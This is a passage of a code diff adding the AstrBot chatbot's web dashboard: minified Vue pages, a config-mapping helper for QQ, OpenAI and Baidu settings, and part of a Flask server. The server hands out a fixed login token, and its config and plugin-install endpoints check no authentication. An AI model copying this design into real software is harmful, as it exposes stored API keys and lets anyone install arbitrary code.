+import{_ as o}from"./BaseBreadcrumb.vue_vue_type_style_index_0_lang-e31f96f8.js";import{_ as i}from"./UiParentCard.vue_vue_type_script_setup_true_lang-f2b2db58.js";import{x as n,D as a,o as c,s as m,a as e,w as t,f as d,b as f,V as _,F as u}from"./index-dc96e1be.js";const p=["innerHTML"],v=n({__name:"MaterialIcons",setup(b){const s=a({title:"Material Icons"}),r=a('<iframe src="https://materialdesignicons.com/" frameborder="0"  width="100%" height="1000"></iframe>'),l=a([{title:"Icons",disabled:!1,href:"#"},{title:"Material Icons",disabled:!0,href:"#"}]);return(h,M)=>(c(),m(u,null,[e(o,{title:s.value.title,breadcrumbs:l.value},null,8,["title","breadcrumbs"]),e(_,null,{default:t(()=>[e(d,{cols:"12",md:"12"},{default:t(()=>[e(i,{title:"Material Icons"},{default:t(()=>[f("div",{innerHTML:r.value},null,8,p)]),_:1})]),_:1})]),_:1})],64))}});export{v as default};

addons/dashboard/dist/assets/RegisterPage-03654257.js

@@ -0,0 +1 @@
+import{_ as B}from"./LogoDark.vue_vue_type_script_setup_true_lang-7df35c25.js";import{x as y,D as o,o as b,s as U,a as e,w as a,b as n,B as $,d as u,f as d,A as _,e as f,V as r,O as m,ap as A,au as E,F,c as T,N as q,J as V,L as P}from"./index-dc96e1be.js";const z="/assets/social-google-a359a253.svg",N=["src"],S=n("span",{class:"ml-2"},"Sign up with Google",-1),D=n("h5",{class:"text-h5 text-center my-4 mb-8"},"Sign up with Email address",-1),G={class:"d-sm-inline-flex align-center mt-2 mb-7 mb-sm-0 font-weight-bold"},L=n("a",{href:"#",class:"ml-1 text-lightText"},"Terms and Condition",-1),O={class:"mt-5 text-right"},j=y({__name:"AuthRegister",setup(w){const c=o(!1),i=o(!1),p=o(""),v=o(""),g=o(),h=o(""),x=o(""),k=o([s=>!!s||"Password is required",s=>s&&s.length<=10||"Password must be less than 10 characters"]),C=o([s=>!!s||"E-mail is required",s=>/.+@.+\..+/.test(s)||"E-mail must be valid"]);function R(){g.value.validate()}return(s,l)=>(b(),U(F,null,[e(u,{block:"",color:"primary",variant:"outlined",class:"text-lightText googleBtn"},{default:a(()=>[n("img",{src:$(z),alt:"google"},null,8,N),S]),_:1}),e(r,null,{default:a(()=>[e(d,{class:"d-flex align-center"},{default:a(()=>[e(_,{class:"custom-devider"}),e(u,{variant:"outlined",class:"orbtn",rounded:"md",size:"small"},{default:a(()=>[f("OR")]),_:1}),e(_,{class:"custom-devider"})]),_:1})]),_:1}),D,e(E,{ref_key:"Regform",ref:g,"lazy-validation":"",action:"/dashboards/analytical",class:"mt-7 loginForm"},{default:a(()=>[e(r,null,{default:a(()=>[e(d,{cols:"12",sm:"6"},{default:a(()=>[e(m,{modelValue:h.value,"onUpdate:modelValue":l[0]||(l[0]=t=>h.value=t),density:"comfortable","hide-details":"auto",variant:"outlined",color:"primary",label:"Firstname"},null,8,["modelValue"])]),_:1}),e(d,{cols:"12",sm:"6"},{default:a(()=>[e(m,{modelValue:x.value,"onUpdate:modelValue":l[1]||(l[1]=t=>x.value=t),density:"comfortable","hide-details":"auto",variant:"outlined",color:"primary",label:"Lastname"},null,8,["modelValue"])]),_:1})]),_:1}),e(m,{modelValue:v.value,"onUpdate:modelValue":l[2]||(l[2]=t=>v.value=t),rules:C.value,label:"Email Address / Username",class:"mt-4 mb-4",required:"",density:"comfortable","hide-details":"auto",variant:"outlined",color:"primary"},null,8,["modelValue","rules"]),e(m,{modelValue:p.value,"onUpdate:modelValue":l[3]||(l[3]=t=>p.value=t),rules:k.value,label:"Password",required:"",density:"comfortable",variant:"outlined",color:"primary","hide-details":"auto","append-icon":i.value?"mdi-eye":"mdi-eye-off",type:i.value?"text":"password","onClick:append":l[4]||(l[4]=t=>i.value=!i.value),class:"pwdInput"},null,8,["modelValue","rules","append-icon","type"]),n("div",G,[e(A,{modelValue:c.value,"onUpdate:modelValue":l[5]||(l[5]=t=>c.value=t),rules:[t=>!!t||"You must agree to continue!"],label:"Agree with?",required:"",color:"primary",class:"ms-n2","hide-details":""},null,8,["modelValue","rules"]),L]),e(u,{color:"secondary",block:"",class:"mt-2",variant:"flat",size:"large",onClick:l[6]||(l[6]=t=>R())},{default:a(()=>[f("Sign Up")]),_:1})]),_:1},512),n("div",O,[e(_),e(u,{variant:"plain",to:"/auth/login",class:"mt-2 text-capitalize mr-n2"},{default:a(()=>[f("Already have an account?")]),_:1})])],64))}});const I={class:"pa-7 pa-sm-12"},J=n("h2",{class:"text-secondary text-h2 mt-8"},"Sign up",-1),Y=n("h4",{class:"text-disabled text-h4 mt-3"},"Enter credentials to continue",-1),M=y({__name:"RegisterPage",setup(w){return(c,i)=>(b(),T(r,{class:"h-100vh","no-gutters":""},{default:a(()=>[e(d,{cols:"12",class:"d-flex align-center bg-lightprimary"},{default:a(()=>[e(q,null,{default:a(()=>[n("div",I,[e(r,{justify:"center"},{default:a(()=>[e(d,{cols:"12",lg:"10",xl:"6",md:"7"},{default:a(()=>[e(V,{elevation:"0",class:"loginBox"},{default:a(()=>[e(V,{variant:"outlined"},{default:a(()=>[e(P,{class:"pa-9"},{default:a(()=>[e(r,null,{default:a(()=>[e(d,{cols:"12",class:"text-center"},{default:a(()=>[e(B),J,Y]),_:1})]),_:1}),e(j)]),_:1})]),_:1})]),_:1})]),_:1})]),_:1})])]),_:1})]),_:1})]),_:1}))}});export{M as default};

addons/dashboard/dist/assets/RegisterPage-799ed804.css

@@ -0,0 +1 @@
+.custom-devider{border-color:#00000014!important}.googleBtn{border-color:#00000014;margin:30px 0 20px}.outlinedInput .v-field{border:1px solid rgba(0,0,0,.08);box-shadow:none}.orbtn{padding:2px 40px;border-color:#00000014;margin:20px 15px}.pwdInput{position:relative}.pwdInput .v-input__append{position:absolute;right:10px;top:50%;transform:translateY(-50%)}.loginBox{max-width:475px;margin:0 auto}

addons/dashboard/dist/assets/ShadowPage-fb617452.js

@@ -0,0 +1 @@
+import{_ as c}from"./BaseBreadcrumb.vue_vue_type_style_index_0_lang-e31f96f8.js";import{_ as f}from"./UiParentCard.vue_vue_type_script_setup_true_lang-f2b2db58.js";import{x as m,D as s,o as l,s as r,a as e,w as a,f as i,V as o,F as d,u as _,J as p,X as b,b as h,t as g}from"./index-dc96e1be.js";const v=m({__name:"ShadowPage",setup(w){const n=s({title:"Shadow Page"}),u=s([{title:"Utilities",disabled:!1,href:"#"},{title:"Shadow",disabled:!0,href:"#"}]);return(V,x)=>(l(),r(d,null,[e(c,{title:n.value.title,breadcrumbs:u.value},null,8,["title","breadcrumbs"]),e(o,null,{default:a(()=>[e(i,{cols:"12",md:"12"},{default:a(()=>[e(f,{title:"Basic Shadow"},{default:a(()=>[e(o,{justify:"center"},{default:a(()=>[(l(),r(d,null,_(25,t=>e(i,{key:t,cols:"auto"},{default:a(()=>[e(p,{height:"100",width:"100",class:b(["mb-5",["d-flex justify-center align-center bg-primary",`elevation-${t}`]])},{default:a(()=>[h("div",null,g(t-1),1)]),_:2},1032,["class"])]),_:2},1024)),64))]),_:1})]),_:1})]),_:1})]),_:1})],64))}});export{v as default};

addons/dashboard/dist/assets/TablerIcons-3ae5dd43.js

@@ -0,0 +1 @@
+import{_ as o}from"./BaseBreadcrumb.vue_vue_type_style_index_0_lang-e31f96f8.js";import{_ as n}from"./UiParentCard.vue_vue_type_script_setup_true_lang-f2b2db58.js";import{x as c,D as a,o as i,s as m,a as e,w as t,f as d,b as f,V as _,F as u}from"./index-dc96e1be.js";const b=["innerHTML"],w=c({__name:"TablerIcons",setup(p){const s=a({title:"Tabler Icons"}),r=a('<iframe src="https://tablericons.com/" frameborder="0"  width="100%" height="600"></iframe>'),l=a([{title:"Icons",disabled:!1,href:"#"},{title:"Tabler Icons",disabled:!0,href:"#"}]);return(h,T)=>(i(),m(u,null,[e(o,{title:s.value.title,breadcrumbs:l.value},null,8,["title","breadcrumbs"]),e(_,null,{default:t(()=>[e(d,{cols:"12",md:"12"},{default:t(()=>[e(n,{title:"Tabler Icons"},{default:t(()=>[f("div",{innerHTML:r.value},null,8,b)]),_:1})]),_:1})]),_:1})],64))}});export{w as default};

addons/dashboard/dist/assets/TypographyPage-7d559339.js

@@ -0,0 +1 @@
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addons/dashboard/dist/assets/UiParentCard.vue_vue_type_script_setup_true_lang-f2b2db58.js

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addons/dashboard/dist/assets/_plugin-vue_export-helper-c27b6911.js

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+const s=(t,r)=>{const o=t.__vccOpts||t;for(const[c,e]of r)o[c]=e;return o};export{s as _};

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addons/dashboard/dist/assets/social-google-a359a253.svg

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addons/dashboard/dist/favicon.svg

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addons/dashboard/dist/index.html

@@ -0,0 +1,21 @@
+<!doctype html>
+<html lang="en">
+  <head>
+    <meta charset="UTF-8" />
+    <link rel="icon" href="/favicon.svg" />
+    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
+    <meta name="keywords" content="AstrBot Soulter" />
+    <meta name="description" content="AstrBot Dashboard" />
+    <link
+      rel="stylesheet"
+      href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&family=Poppins:wght@400;500;600;700&family=Roboto:wght@400;500;700&display=swap"
+    />
+    <title>AstrBot - 仪表盘</title>
+    <script type="module" crossorigin src="/assets/index-dc96e1be.js"></script>
+    <link rel="stylesheet" href="/assets/index-0f1523f3.css">
+  </head>
+  <body>
+    <div id="app"></div>
+    
+  </body>
+</html>

addons/dashboard/helper.py

@@ -0,0 +1,533 @@
+from addons.dashboard.server import AstrBotDashBoard, DashBoardData
+from pydantic import BaseModel
+from typing import Union, Optional
+import uuid
+from util import general_utils as gu
+from util.cmd_config import CmdConfig
+from dataclasses import dataclass
+import sys
+import os
+import threading
+import time
+import asyncio
+from util.plugin_dev.api.v1.config import update_config
+from SparkleLogging.utils.core import LogManager
+from logging import Logger
+
+logger: Logger = LogManager.GetLogger(log_name='astrbot-core')
+
+
+@dataclass
+class DashBoardConfig():
+    config_type: str
+    name: Optional[str] = None
+    description: Optional[str] = None
+    path: Optional[str] = None  # 仅 item 才需要
+    body: Optional[list['DashBoardConfig']] = None  # 仅 group 才需要
+    value: Optional[Union[list, dict, str, int, bool]] = None  # 仅 item 才需要
+    val_type: Optional[str] = None  # 仅 item 才需要
+
+
+class DashBoardHelper():
+    def __init__(self, global_object, config: dict):
+        self.loop = asyncio.new_event_loop()
+        asyncio.set_event_loop(self.loop)
+        dashboard_data = global_object.dashboard_data
+        dashboard_data.configs = {
+            "data": []
+        }
+        self.parse_default_config(dashboard_data, config)
+        self.dashboard_data: DashBoardData = dashboard_data
+        self.dashboard = AstrBotDashBoard(global_object)
+        self.key_map = {}  # key: uuid, value: config key name
+        self.cc = CmdConfig()
+
+        @self.dashboard.register("post_configs")
+        def on_post_configs(post_configs: dict):
+            try:
+                if 'base_config' in post_configs:
+                    self.save_config(
+                        post_configs['base_config'], namespace='')  # 基础配置
+                self.save_config(
+                    post_configs['config'], namespace=post_configs['namespace'])  # 选定配置
+                self.parse_default_config(
+                    self.dashboard_data, self.cc.get_all())
+                # 重启
+                threading.Thread(target=self.dashboard.shutdown_bot,
+                                 args=(2,), daemon=True).start()
+            except Exception as e:
+                raise e
+
+    # 将 config.yaml、 中的配置解析到 dashboard_data.configs 中
+    def parse_default_config(self, dashboard_data: DashBoardData, config: dict):
+
+        try:
+            qq_official_platform_group = DashBoardConfig(
+                config_type="group",
+                name="QQ_OFFICIAL 平台配置",
+                description="",
+                body=[
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="bool",
+                        name="启用 QQ_OFFICIAL 平台",
+                        description="官方的接口，仅支持 QQ 频道。详见 q.qq.com",
+                        value=config['qqbot']['enable'],
+                        path="qqbot.enable",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="str",
+                        name="QQ机器人APPID",
+                        description="详见 q.qq.com",
+                        value=config['qqbot']['appid'],
+                        path="qqbot.appid",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="str",
+                        name="QQ机器人令牌",
+                        description="详见 q.qq.com",
+                        value=config['qqbot']['token'],
+                        path="qqbot.token",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="str",
+                        name="QQ机器人 Secret",
+                        description="详见 q.qq.com",
+                        value=config['qqbot_secret'],
+                        path="qqbot_secret",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="bool",
+                        name="是否允许 QQ 频道私聊",
+                        description="如果启用，机器人会响应私聊消息。",
+                        value=config['direct_message_mode'],
+                        path="direct_message_mode",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="bool",
+                        name="是否接收QQ群消息",
+                        description="需要机器人有相应的群消息接收权限。在 q.qq.com 上查看。",
+                        value=config['qqofficial_enable_group_message'],
+                        path="qqofficial_enable_group_message",
+                    ),
+                ]
+            )
+            qq_gocq_platform_group = DashBoardConfig(
+                config_type="group",
+                name="go-cqhttp",
+                description="",
+                body=[
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="bool",
+                        name="启用",
+                        description="",
+                        value=config['gocqbot']['enable'],
+                        path="gocqbot.enable",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="str",
+                        name="HTTP 服务器地址",
+                        description="",
+                        value=config['gocq_host'],
+                        path="gocq_host",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="int",
+                        name="HTTP 服务器端口",
+                        description="",
+                        value=config['gocq_http_port'],
+                        path="gocq_http_port",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="int",
+                        name="WebSocket 服务器端口",
+                        description="目前仅支持正向 WebSocket",
+                        value=config['gocq_websocket_port'],
+                        path="gocq_websocket_port",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="bool",
+                        name="是否响应群消息",
+                        description="",
+                        value=config['gocq_react_group'],
+                        path="gocq_react_group",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="bool",
+                        name="是否响应私聊消息",
+                        description="",
+                        value=config['gocq_react_friend'],
+                        path="gocq_react_friend",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="bool",
+                        name="是否响应群成员增加消息",
+                        description="",
+                        value=config['gocq_react_group_increase'],
+                        path="gocq_react_group_increase",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="bool",
+                        name="是否响应频道消息",
+                        description="",
+                        value=config['gocq_react_guild'],
+                        path="gocq_react_guild",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="int",
+                        name="转发阈值（字符数）",
+                        description="机器人回复的消息长度超出这个值后，会被折叠成转发卡片发出以减少刷屏。",
+                        value=config['qq_forward_threshold'],
+                        path="qq_forward_threshold",
+                    ),
+                ]
+            )
+
+            general_platform_detail_group = DashBoardConfig(
+                config_type="group",
+                name="通用平台配置",
+                description="",
+                body=[
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="bool",
+                        name="启动消息文字转图片",
+                        description="启动后，机器人会将消息转换为图片发送，以降低风控风险。",
+                        value=config['qq_pic_mode'],
+                        path="qq_pic_mode",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="int",
+                        name="消息限制时间",
+                        description="在此时间内，机器人不会回复同一个用户的消息。单位：秒",
+                        value=config['limit']['time'],
+                        path="limit.time",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="int",
+                        name="消息限制次数",
+                        description="在上面的时间内，如果用户发送消息超过此次数，则机器人不会回复。单位：次",
+                        value=config['limit']['count'],
+                        path="limit.count",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="str",
+                        name="回复前缀",
+                        description="[xxxx] 你好！ 其中xxxx是你可以填写的前缀。如果为空则不显示。",
+                        value=config['reply_prefix'],
+                        path="reply_prefix",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="list",
+                        name="通用管理员用户 ID（支持多个管理员）。通过 !myid 指令获取。",
+                        description="",
+                        value=config['other_admins'],
+                        path="other_admins",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="bool",
+                        name="独立会话",
+                        description="是否启用独立会话模式，即 1 个用户自然账号 1 个会话。",
+                        value=config['uniqueSessionMode'],
+                        path="uniqueSessionMode",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="str",
+                        name="LLM 唤醒词",
+                        description="如果不为空, 那么只有当消息以此词开头时，才会调用大语言模型进行回复。如设置为 /chat，那么只有当消息以 /chat 开头时，才会调用大语言模型进行回复。",
+                        value=config['llm_wake_prefix'],
+                        path="llm_wake_prefix",
+                    )
+                ]
+            )
+
+            openai_official_llm_group = DashBoardConfig(
+                config_type="group",
+                name="OpenAI 官方接口类设置",
+                description="",
+                body=[
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="list",
+                        name="OpenAI API Key",
+                        description="OpenAI API 的 Key。支持使用非官方但兼容的 API（第三方中转key）。",
+                        value=config['openai']['key'],
+                        path="openai.key",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="str",
+                        name="OpenAI API 节点地址(api base)",
+                        description="OpenAI API 的节点地址，配合非官方 API 使用。如果不想填写，那么请填写 none",
+                        value=config['openai']['api_base'],
+                        path="openai.api_base",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="str",
+                        name="OpenAI model",
+                        description="OpenAI LLM 模型。详见 https://platform.openai.com/docs/api-reference/chat",
+                        value=config['openai']['chatGPTConfigs']['model'],
+                        path="openai.chatGPTConfigs.model",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="int",
+                        name="OpenAI max_tokens",
+                        description="OpenAI 最大生成长度。详见 https://platform.openai.com/docs/api-reference/chat",
+                        value=config['openai']['chatGPTConfigs']['max_tokens'],
+                        path="openai.chatGPTConfigs.max_tokens",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="float",
+                        name="OpenAI temperature",
+                        description="OpenAI 温度。详见 https://platform.openai.com/docs/api-reference/chat",
+                        value=config['openai']['chatGPTConfigs']['temperature'],
+                        path="openai.chatGPTConfigs.temperature",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="float",
+                        name="OpenAI top_p",
+                        description="OpenAI top_p。详见 https://platform.openai.com/docs/api-reference/chat",
+                        value=config['openai']['chatGPTConfigs']['top_p'],
+                        path="openai.chatGPTConfigs.top_p",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="float",
+                        name="OpenAI frequency_penalty",
+                        description="OpenAI frequency_penalty。详见 https://platform.openai.com/docs/api-reference/chat",
+                        value=config['openai']['chatGPTConfigs']['frequency_penalty'],
+                        path="openai.chatGPTConfigs.frequency_penalty",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="float",
+                        name="OpenAI presence_penalty",
+                        description="OpenAI presence_penalty。详见 https://platform.openai.com/docs/api-reference/chat",
+                        value=config['openai']['chatGPTConfigs']['presence_penalty'],
+                        path="openai.chatGPTConfigs.presence_penalty",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="int",
+                        name="OpenAI 总生成长度限制",
+                        description="OpenAI 总生成长度限制。详见 https://platform.openai.com/docs/api-reference/chat",
+                        value=config['openai']['total_tokens_limit'],
+                        path="openai.total_tokens_limit",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="str",
+                        name="OpenAI 图像生成模型",
+                        description="OpenAI 图像生成模型。",
+                        value=config['openai_image_generate']['model'],
+                        path="openai_image_generate.model",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="str",
+                        name="OpenAI 图像生成大小",
+                        description="OpenAI 图像生成大小。",
+                        value=config['openai_image_generate']['size'],
+                        path="openai_image_generate.size",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="str",
+                        name="OpenAI 图像生成风格",
+                        description="OpenAI 图像生成风格。修改前请参考 OpenAI 官方文档",
+                        value=config['openai_image_generate']['style'],
+                        path="openai_image_generate.style",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="str",
+                        name="OpenAI 图像生成质量",
+                        description="OpenAI 图像生成质量。修改前请参考 OpenAI 官方文档",
+                        value=config['openai_image_generate']['quality'],
+                        path="openai_image_generate.quality",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="str",
+                        name="问题题首提示词",
+                        description="如果填写了此项，在每个对大语言模型的请求中，都会在问题前加上此提示词。",
+                        value=config['llm_env_prompt'],
+                        path="llm_env_prompt",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="str",
+                        name="默认人格文本",
+                        description="默认人格文本",
+                        value=config['default_personality_str'],
+                        path="default_personality_str",
+                    ),
+                ]
+            )
+
+            baidu_aip_group = DashBoardConfig(
+                config_type="group",
+                name="百度内容审核",
+                description="需要去申请",
+                body=[
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="bool",
+                        name="启动百度内容审核服务",
+                        description="",
+                        value=config['baidu_aip']['enable'],
+                        path="baidu_aip.enable"
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="str",
+                        name="APP ID",
+                        description="",
+                        value=config['baidu_aip']['app_id'],
+                        path="baidu_aip.app_id"
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="str",
+                        name="API KEY",
+                        description="",
+                        value=config['baidu_aip']['api_key'],
+                        path="baidu_aip.api_key"
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="str",
+                        name="SECRET KEY",
+                        description="",
+                        value=config['baidu_aip']['secret_key'],
+                        path="baidu_aip.secret_key"
+                    )
+                ]
+            )
+
+            other_group = DashBoardConfig(
+                config_type="group",
+                name="其他配置",
+                description="其他配置描述",
+                body=[
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="str",
+                        name="HTTP 代理地址",
+                        description="建议上下一致",
+                        value=config['http_proxy'],
+                        path="http_proxy",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="str",
+                        name="HTTPS 代理地址",
+                        description="建议上下一致",
+                        value=config['https_proxy'],
+                        path="https_proxy",
+                    ),
+                    DashBoardConfig(
+                        config_type="item",
+                        val_type="str",
+                        name="面板用户名",
+                        description="是的，就是你理解的这个面板的用户名",
+                        value=config['dashboard_username'],
+                        path="dashboard_username",
+                    ),
+                ]
+            )
+
+            dashboard_data.configs['data'] = [
+                qq_official_platform_group,
+                qq_gocq_platform_group,
+                general_platform_detail_group,
+                openai_official_llm_group,
+                other_group,
+                baidu_aip_group
+            ]
+
+        except Exception as e:
+            logger.error(f"配置文件解析错误：{e}")
+            raise e
+
+    def save_config(self, post_config: list, namespace: str):
+        '''
+        根据 path 解析并保存配置
+        '''
+
+        queue = post_config
+        while len(queue) > 0:
+            config = queue.pop(0)
+            if config['config_type'] == "group":
+                for item in config['body']:
+                    queue.append(item)
+            elif config['config_type'] == "item":
+                if config['path'] is None or config['path'] == "":
+                    continue
+
+                path = config['path'].split('.')
+                if len(path) == 0:
+                    continue
+
+                if config['val_type'] == "bool":
+                    self._write_config(
+                        namespace, config['path'], config['value'])
+                elif config['val_type'] == "str":
+                    self._write_config(
+                        namespace, config['path'], config['value'])
+                elif config['val_type'] == "int":
+                    try:
+                        self._write_config(
+                            namespace, config['path'], int(config['value']))
+                    except:
+                        raise ValueError(f"配置项 {config['name']} 的值必须是整数")
+                elif config['val_type'] == "float":
+                    try:
+                        self._write_config(
+                            namespace, config['path'], float(config['value']))
+                    except:
+                        raise ValueError(f"配置项 {config['name']} 的值必须是浮点数")
+                elif config['val_type'] == "list":
+                    if config['value'] is None:
+                        self._write_config(namespace, config['path'], [])
+                    elif not isinstance(config['value'], list):
+                        raise ValueError(f"配置项 {config['name']} 的值必须是列表")
+                    self._write_config(
+                        namespace, config['path'], config['value'])
+                else:
+                    raise NotImplementedError(
+                        f"未知或者未实现的配置项类型：{config['val_type']}")
+
+    def _write_config(self, namespace: str, key: str, value):
+        if namespace == "" or namespace.startswith("internal_"):
+            # 机器人自带配置，存到 config.yaml
+            self.cc.put_by_dot_str(key, value)
+        else:
+            update_config(namespace, key, value)
+
+    def run(self):
+        self.dashboard.run()

addons/dashboard/server.py

@@ -0,0 +1,475 @@
+import util.plugin_util as putil
+import websockets
+import json
+import threading
+import asyncio
+import os
+import sys
+import time
+
+from flask import Flask, request
+from flask.logging import default_handler
+from werkzeug.serving import make_server
+from util import general_utils as gu
+from dataclasses import dataclass
+from persist.session import dbConn
+from type.register import RegisteredPlugin
+from typing import List
+from util.cmd_config import CmdConfig
+from util.updator import check_update, update_project, request_release_info, _reboot
+from SparkleLogging.utils.core import LogManager
+from logging import Logger
+logger: Logger = LogManager.GetLogger(log_name='astrbot-core')
+
+@dataclass
+class DashBoardData():
+    stats: dict
+    configs: dict
+    logs: dict
+    plugins: List[RegisteredPlugin]
+
+
+@dataclass
+class Response():
+    status: str
+    message: str
+    data: dict
+
+
+class AstrBotDashBoard():
+    def __init__(self, global_object: 'gu.GlobalObject'):
+        self.global_object = global_object
+        self.loop = asyncio.get_event_loop()
+        asyncio.set_event_loop(self.loop)
+        self.dashboard_data: DashBoardData = global_object.dashboard_data
+        self.dashboard_be = Flask(
+            __name__, static_folder="dist", static_url_path="/")
+        self.funcs = {}
+        self.cc = CmdConfig()
+        self.ws_clients = {}  # remote_ip: ws
+        # 启动 websocket 服务器
+        self.ws_server = websockets.serve(self.__handle_msg, "0.0.0.0", 6186)
+
+        @self.dashboard_be.get("/")
+        def index():
+            # 返回页面
+            return self.dashboard_be.send_static_file("index.html")
+
+        @self.dashboard_be.get("/config")
+        def rt_config():
+            return self.dashboard_be.send_static_file("index.html")
+
+        @self.dashboard_be.get("/logs")
+        def rt_logs():
+            return self.dashboard_be.send_static_file("index.html")
+        
+        @self.dashboard_be.get("/extension")
+        def rt_extension():
+            return self.dashboard_be.send_static_file("index.html")
+
+        @self.dashboard_be.get("/dashboard/default")
+        def rt_dashboard():
+            return self.dashboard_be.send_static_file("index.html")
+
+        @self.dashboard_be.post("/api/authenticate")
+        def authenticate():
+            username = self.cc.get("dashboard_username", "")
+            password = self.cc.get("dashboard_password", "")
+            # 获得请求体
+            post_data = request.json
+            if post_data["username"] == username and post_data["password"] == password:
+                return Response(
+                    status="success",
+                    message="登录成功。",
+                    data={
+                        "token": "astrbot-test-token",
+                        "username": username
+                    }
+                ).__dict__
+            else:
+                return Response(
+                    status="error",
+                    message="用户名或密码错误。",
+                    data=None
+                ).__dict__
+
+        @self.dashboard_be.post("/api/change_password")
+        def change_password():
+            password = self.cc.get("dashboard_password", "")
+            # 获得请求体
+            post_data = request.json
+            if post_data["password"] == password:
+                self.cc.put("dashboard_password", post_data["new_password"])
+                return Response(
+                    status="success",
+                    message="修改成功。",
+                    data=None
+                ).__dict__
+            else:
+                return Response(
+                    status="error",
+                    message="原密码错误。",
+                    data=None
+                ).__dict__
+
+        @self.dashboard_be.get("/api/stats")
+        def get_stats():
+            db_inst = dbConn()
+            all_session = db_inst.get_all_stat_session()
+            last_24_message = db_inst.get_last_24h_stat_message()
+            # last_24_platform = db_inst.get_last_24h_stat_platform()
+            platforms = db_inst.get_platform_cnt_total()
+            self.dashboard_data.stats["session"] = []
+            self.dashboard_data.stats["session_total"] = db_inst.get_session_cnt_total(
+            )
+            self.dashboard_data.stats["message"] = last_24_message
+            self.dashboard_data.stats["message_total"] = db_inst.get_message_cnt_total(
+            )
+            self.dashboard_data.stats["platform"] = platforms
+
+            return Response(
+                status="success",
+                message="",
+                data=self.dashboard_data.stats
+            ).__dict__
+
+        @self.dashboard_be.get("/api/configs")
+        def get_configs():
+            # 如果params中有namespace，则返回该namespace下的配置
+            # 否则返回所有配置
+            namespace = "" if "namespace" not in request.args else request.args["namespace"]
+            conf = self._get_configs(namespace)
+            return Response(
+                status="success",
+                message="",
+                data=conf
+            ).__dict__
+
+        @self.dashboard_be.get("/api/config_outline")
+        def get_config_outline():
+            outline = self._generate_outline()
+            return Response(
+                status="success",
+                message="",
+                data=outline
+            ).__dict__
+
+        @self.dashboard_be.post("/api/configs")
+        def post_configs():
+            post_configs = request.json
+            try:
+                self.funcs["post_configs"](post_configs)
+                return Response(
+                    status="success",
+                    message="保存成功~ 机器人将在 2 秒内重启以应用新的配置。",
+                    data=None
+                ).__dict__
+            except Exception as e:
+                return Response(
+                    status="error",
+                    message=e.__str__(),
+                    data=self.dashboard_data.configs
+                ).__dict__
+
+        @self.dashboard_be.get("/api/extensions")
+        def get_plugins():
+            _plugin_resp = []
+            for plugin in self.dashboard_data.plugins:
+                _p = plugin.metadata
+                _t = {
+                    "name": _p.plugin_name,
+                    "repo": '' if _p.repo is None else _p.repo,
+                    "author": _p.author,
+                    "desc": _p.desc,
+                    "version": _p.version
+                }
+                _plugin_resp.append(_t)
+            return Response(
+                status="success",
+                message="",
+                data=_plugin_resp
+            ).__dict__
+
+        @self.dashboard_be.post("/api/extensions/install")
+        def install_plugin():
+            post_data = request.json
+            repo_url = post_data["url"]
+            try:
+                logger.info(f"正在安装插件 {repo_url}")
+                putil.install_plugin(repo_url, global_object)
+                logger.info(f"安装插件 {repo_url} 成功")
+                return Response(
+                    status="success",
+                    message="安装成功~",
+                    data=None
+                ).__dict__
+            except Exception as e:
+                return Response(
+                    status="error",
+                    message=e.__str__(),
+                    data=None
+                ).__dict__
+
+        @self.dashboard_be.post("/api/extensions/uninstall")
+        def uninstall_plugin():
+            post_data = request.json
+            plugin_name = post_data["name"]
+            try:
+                logger.info(f"正在卸载插件 {plugin_name}")
+                putil.uninstall_plugin(
+                    plugin_name, self.dashboard_data.plugins)
+                logger.info(f"卸载插件 {plugin_name} 成功")
+                return Response(
+                    status="success",
+                    message="卸载成功~",
+                    data=None
